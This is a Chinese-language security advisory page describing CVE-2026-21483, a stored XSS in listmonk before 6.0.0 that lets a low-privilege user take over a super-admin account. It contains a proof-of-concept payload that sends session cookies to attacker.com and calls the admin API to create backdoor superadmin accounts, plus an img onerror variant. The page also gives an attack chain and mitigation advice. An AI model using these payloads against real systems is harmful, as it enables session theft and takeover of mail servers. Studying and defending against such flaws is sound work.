IPBUF安全漏洞报告
English
CVE-2026-21483 CVSS 5.4 中危

CVE-2026-21483: listmonk XSS漏洞导致权限提升

披露日期: 2026-01-02

漏洞信息

漏洞编号
CVE-2026-21483
漏洞类型
跨站脚本攻击(XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
listmonk

相关标签

listmonkXSS跨站脚本攻击权限提升存储型XSSCVE-2026-21483

漏洞概述

listmonk是一款独立的自托管新闻通讯和邮件列表管理器。该漏洞影响6.0.0之前的所有版本。漏洞允许拥有campaign管理权限的低权限用户在campaigns或templates中注入恶意JavaScript代码。当高权限用户(如Super Admin)查看或预览这些内容时,XSS payload会在其浏览器上下文中执行。攻击者可以利用此漏洞执行特权操作,例如创建后门管理员账户,从而完全控制系统。更危险的是,该漏洞可以通过公共存档功能进行武器化,攻击者只需构造恶意链接并诱导受害者访问,无需受害者点击任何预览按钮即可触发XSS攻击。这使得该漏洞具有极高的实际威胁性,因为攻击可以大规模自动化实施。

技术细节

该漏洞为存储型XSS(Stored XSS),攻击流程如下:1)攻击者(低权限用户)登录listmonk并获得campaign管理权限;2)攻击者在创建或编辑campaign/template时,在内容字段中注入恶意JavaScript代码,如<script>fetch('attacker.com/steal?cookie='+document.cookie)</script>;3)由于系统未对用户输入进行充分的HTML转义,恶意代码被存储在数据库中;4)当高权限用户(Super Admin)访问该campaign进行查看或预览时,服务器从数据库取出未经过滤的内容并返回给用户浏览器;5)浏览器将恶意代码作为合法脚本执行,从而在受害者会话中执行任意操作;6)攻击者可通过JavaScript API创建新管理员账户或窃取会话cookie。修复方案为在6.0.0版本中对所有用户输入进行严格的HTML实体转义,并添加Content-Security-Policy头部防护。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标系统使用listmonk,并确认版本低于6.0.0
STEP 2
步骤2: 账户获取
攻击者获取拥有campaign管理权限的低权限账户
STEP 3
步骤3: XSS注入
在campaign或template创建/编辑时注入恶意JavaScript payload
STEP 4
步骤4: 等待触发
通过公共存档功能或直接诱导Super Admin访问恶意内容
STEP 5
步骤5: 权限提升
XSS在管理员会话中执行,通过API创建后门管理员账户
STEP 6
步骤6: 持久化控制
攻击者使用后门账户登录系统,实现长期控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Malicious campaign/template content injection --> <script> // Steal admin session cookies fetch('https://attacker.com/steal?c=' + encodeURIComponent(document.cookie)); // Create backdoor admin account fetch('/api/admin/users', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Cookie': document.cookie }, body: JSON.stringify({ name: 'BackdoorAdmin', email: '[email protected]', password: 'P@ssw0rd123', role: 'superadmin' }) }); </script> <!-- Alternative: Image tag-based XSS --> <img src=x onerror="fetch('/api/admin/users', {method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({name: 'Hacker', email: '[email protected]', password: 'hacked123', role: 'superadmin'})})">

影响范围

listmonk < 6.0.0

防御指南

临时缓解措施
如果无法立即升级,可临时禁用公共存档功能,对所有campaign内容进行人工审核,并限制低权限用户的campaign管理权限。同时在WAF/负载均衡层添加XSS防护规则。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表